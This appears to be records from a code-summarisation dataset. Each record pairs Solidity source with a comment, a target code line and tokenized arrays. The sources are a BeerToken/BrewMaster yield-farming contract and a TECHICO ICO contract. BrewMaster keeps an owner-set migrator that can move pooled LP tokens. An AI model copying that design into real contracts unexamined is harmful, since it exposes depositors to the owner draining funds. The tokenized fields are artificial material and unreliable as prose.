transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/BeerToken.sol pragma solidity 0.6.12; // BeerToken with Governance. contract BeerToken is ERC20("Beer Token", "BEER"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (BrewMaster). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "BEER::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "BEER::delegateBySig: invalid nonce"); require(now <= expiry, "BEER::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "BEER::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BEERs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "BEER::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/BrewMaster.sol pragma solidity 0.6.12; interface IMigratorChef { function migrate(IERC20 token) external returns (IERC20); } contract BrewMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of BEERs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accEggPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accEggPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. BEERs to distribute per block. uint256 lastRewardBlock; // Last block number that BEERs distribution occurs. uint256 accEggPerShare; // Accumulated BEERs per share, times 1e12. See below. } // The BEER TOKEN! BeerToken public beer; // Dev address. address public devaddr; // Block number when bonus BEER period ends. uint256 public bonusEndBlock; // BEER tokens created per block. uint256 public beerPerBlock; // Bonus muliplier for early beer makers. uint256 public constant BONUS_MULTIPLIER = 3; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when BEER mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( BeerToken _beer, address _devaddr, uint256 _beerPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { beer = _beer; devaddr = _devaddr; beerPerBlock = _beerPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accEggPerShare: 0 })); } // Update the given pool's BEER allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending BEERs on frontend. function pendingEgg(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accEggPerShare = pool.accEggPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 beerReward = multiplier.mul(beerPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accEggPerShare = accEggPerShare.add(beerReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accEggPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 beerReward = multiplier.mul(beerPerBlock).mul(pool.allocPoint).div(totalAllocPoint); beer.mint(devaddr, beerReward.div(10)); beer.mint(address(this), beerReward); pool.accEggPerShare = pool.accEggPerShare.add(beerReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to BrewMaster for BEER allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt); safeEggTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from BrewMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt); safeEggTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe beer transfer function, just in case if rounding error causes pool to not have enough BEERs. function safeEggTransfer(address _to, uint256 _amount) internal { uint256 beerBal = beer.balanceOf(address(this)); if (_amount > beerBal) { beer.transfer(_to, beerBal); } else { beer.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: addy?"); devaddr = _devaddr; } }
View function to see pending BEERs on frontend.
function pendingEgg(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accEggPerShare = pool.accEggPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 beerReward = multiplier.mul(beerPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accEggPerShare = accEggPerShare.add(beerReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accEggPerShare).div(1e12).sub(user.rewardDebt); }
10,558,197
[ 1, 1767, 445, 358, 2621, 4634, 9722, 654, 87, 603, 15442, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4634, 41, 14253, 12, 11890, 5034, 389, 6610, 16, 1758, 389, 1355, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 67, 1355, 15533, 203, 3639, 2254, 5034, 4078, 41, 14253, 2173, 9535, 273, 2845, 18, 8981, 41, 14253, 2173, 9535, 31, 203, 3639, 2254, 5034, 12423, 3088, 1283, 273, 2845, 18, 9953, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 261, 2629, 18, 2696, 405, 2845, 18, 2722, 17631, 1060, 1768, 597, 12423, 3088, 1283, 480, 374, 13, 288, 203, 5411, 2254, 5034, 15027, 273, 31863, 5742, 12, 6011, 18, 2722, 17631, 1060, 1768, 16, 1203, 18, 2696, 1769, 203, 5411, 2254, 5034, 506, 264, 17631, 1060, 273, 15027, 18, 16411, 12, 2196, 264, 2173, 1768, 2934, 16411, 12, 6011, 18, 9853, 2148, 2934, 2892, 12, 4963, 8763, 2148, 1769, 203, 5411, 4078, 41, 14253, 2173, 9535, 273, 4078, 41, 14253, 2173, 9535, 18, 1289, 12, 2196, 264, 17631, 1060, 18, 16411, 12, 21, 73, 2138, 2934, 2892, 12, 9953, 3088, 1283, 10019, 203, 3639, 289, 203, 3639, 327, 729, 18, 8949, 18, 16411, 12, 8981, 41, 14253, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /** * @title TECH ICO Contract * @dev TECH is an ERC-20 Standar Compliant Token * Contact: [email protected] www.WorkChainCenters.io */ /** * @title SafeMath by OpenZeppelin * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title admined * @notice This contract is administered */ contract admined { //mapping to user levels mapping(address => uint8) public level; //0 normal user //1 basic admin //2 master admin /** * @dev This contructor takes the msg.sender as the first master admin */ constructor() internal { level[msg.sender] = 2; //Set initial admin to contract creator emit AdminshipUpdated(msg.sender,2); //Log the admin set } /** * @dev This modifier limits function execution to the admin */ modifier onlyAdmin(uint8 _level) { //A modifier to define admin-only functions require(level[msg.sender] >= _level ); //It require the user level to be more or equal than _level _; } /** * @notice This function transfer the adminship of the contract to _newAdmin * @param _newAdmin The new admin of the contract */ function adminshipLevel(address _newAdmin, uint8 _level) onlyAdmin(2) public { //Admin can be set require(_newAdmin != address(0)); //The new admin must not be zero address level[_newAdmin] = _level; //New level is set emit AdminshipUpdated(_newAdmin,_level); //Log the admin set } /** * @dev Log Events */ event AdminshipUpdated(address _newAdmin, uint8 _level); } contract TECHICO is admined { using SafeMath for uint256; //This ico have these possible states enum State { MainSale, Paused, Successful } //Public variables //Time-state Related State public state = State.MainSale; //Set initial stage uint256 constant public SaleStart = 1527879600; //Human time (GMT): Friday, 1 de June de 2018 19:00:00 uint256 public SaleDeadline = 1535569200; //Human time (GMT): Wednesday, 29 August 2018 19:00:00 uint256 public completedAt; //Set when ico finish //Token-eth related uint256 public totalRaised; //eth collected in wei uint256 public totalDistributed; //Whole sale tokens distributed ERC20Basic public tokenReward; //Token contract address uint256 public hardCap = 31200000 * (10 ** 18); // 31.200.000 tokens mapping(address => uint256) public pending; //tokens pending to being transfered //Contract details address public creator; //Creator address string public version = '2'; //Contract version //Bonus Related - How much tokens per bonus uint256 bonus1Remain = 1440000*10**18; //+20% uint256 bonus2Remain = 2380000*10**18; //+15% uint256 bonus3Remain = 3420000*10**18; //+10% uint256 bonus4Remain = 5225000*10**18; //+5% uint256 remainingActualState; State laststate; //User rights handlers mapping (address => bool) public whiteList; //List of allowed to send eth //Price related uint256 rate = 3000; //3000 tokens per ether unit //events for log event LogFundrisingInitialized(address _creator); event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogContributorsPayout(address _addr, uint _amount); event LogFundingSuccessful(uint _totalRaised); event LogSalePaused(bool _paused); //Modifier to prevent execution if ico has ended or is holded modifier notFinished() { require(state != State.Successful && state != State.Paused); _; } /** * @notice ICO constructor * @param _addressOfTokenUsedAsReward is the token to distribute */ constructor(ERC20Basic _addressOfTokenUsedAsReward ) public { creator = msg.sender; //Creator is set from deployer address tokenReward = _addressOfTokenUsedAsReward; //Token address is set during deployment emit LogFundrisingInitialized(creator); //Log contract initialization //PreSale tokens already sold = 4.720.047 tokens pending[0x8eBBcb4c4177941428E9E9E68C4914fb5A89650E] = 4720047000000000000002000; //To no exceed total tokens to sell, update numbers - bonuses not affected totalDistributed = 4720047000000000000002000; } /** * @notice Check remaining and cost function * @dev The cost function doesn't include the bonuses calculation */ function remainingTokensAndCost() public view returns (uint256[2]){ uint256 remaining = hardCap.sub(totalDistributed); uint256 cost = remaining.sub((bonus1Remain.mul(2)).div(10)); cost = cost.sub((bonus2Remain.mul(15)).div(100)); cost = cost.sub(bonus3Remain.div(10)); cost = cost.sub((bonus4Remain.mul(5)).div(100)); cost = cost.div(3000); return [remaining,cost]; } /** * @notice Whitelist function * @param _user User address to be modified on list * @param _flag Whitelist status to set */ function whitelistAddress(address _user, bool _flag) public onlyAdmin(1) { whiteList[_user] = _flag; //Assign status to user on whitelist } /** * @notice Pause function * @param _flag Pause status to set */ function pauseSale(bool _flag) onlyAdmin(2) public { require(state != State.Successful); if(_flag == true){ require(state != State.Paused); laststate = state; remainingActualState = SaleDeadline.sub(now); state = State.Paused; emit LogSalePaused(true); } else { require(state == State.Paused); state = laststate; SaleDeadline = now.add(remainingActualState); emit LogSalePaused(false); } } /** * @notice contribution handler */ function contribute(address _target) public notFinished payable { require(now > SaleStart); //This time must be equal or greater than the start time //To handle admin guided contributions address user; //Let's if user is an admin and is givin a valid target if(_target != address(0) && level[msg.sender] >= 1){ user = _target; } else { user = msg.sender; //If not the user is the sender } require(whiteList[user] == true); //User must be whitelisted totalRaised = totalRaised.add(msg.value); //ether received updated uint256 tokenBought = msg.value.mul(rate); //base tokens amount calculation //Bonus calc helpers uint256 bonus = 0; //How much bonus for this sale uint256 buyHelper = tokenBought; //Base tokens bought //Bonus Stage 1 if(bonus1Remain > 0){ //If there still are some tokens with bonus //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(buyHelper <= bonus1Remain){ //If purchase is less bonus1Remain = bonus1Remain.sub(buyHelper); //Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add((buyHelper.mul(2)).div(10));//+20% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus1Remain); //Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add((bonus1Remain.mul(2)).div(10));//+20% bonus1Remain = 0; //Clear bonus remaining tokens } } //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(bonus2Remain > 0 && buyHelper > 0){ if(buyHelper <= bonus2Remain){ //If purchase is less bonus2Remain = bonus2Remain.sub(buyHelper);//Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add((buyHelper.mul(15)).div(100));//+15% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus2Remain);//Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add((bonus2Remain.mul(15)).div(100));//+15% bonus2Remain = 0; //Clear bonus remaining tokens } } //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(bonus3Remain > 0 && buyHelper > 0){ if(buyHelper <= bonus3Remain){ //If purchase is less bonus3Remain = bonus3Remain.sub(buyHelper);//Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add(buyHelper.div(10));//+10% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus3Remain);//Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add(bonus3Remain.div(10));//+10% bonus3Remain = 0; //Clear bonus remaining tokens } } //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(bonus4Remain > 0 && buyHelper > 0){ if(buyHelper <= bonus4Remain){ //If purchase is less bonus4Remain = bonus4Remain.sub(buyHelper);//Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add((buyHelper.mul(5)).div(100));//+5% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus4Remain);//Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add((bonus4Remain.mul(5)).div(100));//+5% bonus4Remain = 0; //Clear bonus remaining tokens } } tokenBought = tokenBought.add(bonus); //Sum Up Bonus(es) to base purchase require(totalDistributed.add(tokenBought) <= hardCap); //The total amount after sum up must not be more than the hardCap pending[user] = pending[user].add(tokenBought); //Pending balance to distribute is updated totalDistributed = totalDistributed.add(tokenBought); //Whole tokens sold updated emit LogFundingReceived(user, msg.value, totalRaised); //Log the purchase checkIfFundingCompleteOrExpired(); //Execute state checks } /** * @notice Funtion to let users claim their tokens at the end of ico process */ function claimTokensByUser() public{ require(state == State.Successful); //Once ico is successful uint256 temp = pending[msg.sender]; //Get the user pending balance pending[msg.sender] = 0; //Clear it require(tokenReward.transfer(msg.sender,temp)); //Try to transfer emit LogContributorsPayout(msg.sender,temp); //Log the claim } /** * @notice Funtion to let admins claim users tokens on behalf of them at the end of ico process * @param _user Target user of token claim */ function claimTokensByAdmin(address _user) onlyAdmin(1) public{ require(state == State.Successful); //Once ico is successful uint256 temp = pending[_user]; //Get the user pending balance pending[_user] = 0; //Clear it require(tokenReward.transfer(_user,temp)); //Try to transfer emit LogContributorsPayout(_user,temp); //Log the claim } /** * @notice Process to check contract current status */ function checkIfFundingCompleteOrExpired() public { //If hardacap or deadline is reached and not yet successful if ( (totalDistributed == hardCap || now > SaleDeadline) && state != State.Successful && state != State.Paused) { //remanent tokens are assigned to creator for later handle pending[creator] = tokenReward.balanceOf(address(this)).sub(totalDistributed); state = State.Successful; //ICO becomes Successful completedAt = now; //ICO is complete emit LogFundingSuccessful(totalRaised); //we log the finish successful(); //and execute closure } } /** * @notice successful closure handler */ function successful() public { require(state == State.Successful); //When successful uint256 temp = pending[creator]; //Remanent tokens handle pending[creator] = 0; //Clear user balance require(tokenReward.transfer(creator,temp)); //Try to transfer emit LogContributorsPayout(creator,temp); //Log transaction creator.transfer(address(this).balance); //After successful, eth is send to creator emit LogBeneficiaryPaid(creator); //Log transaction } /** * @notice Function to claim any token stuck on contract * @param _address Address of target token */ function externalTokensRecovery(ERC20Basic _address) onlyAdmin(2) public{ require(state == State.Successful); //Only when sale finish require(_address != address(tokenReward)); //Target token must be different from token on sale uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(msg.sender,remainder); //Transfer tokens to admin } /* * @dev Direct payments handler */ function () public payable { contribute(address(0)); //Forward to contribute function } }
Sum Up Bonus(es) to base purchase
tokenBought = tokenBought.add(bonus);
1,513,694
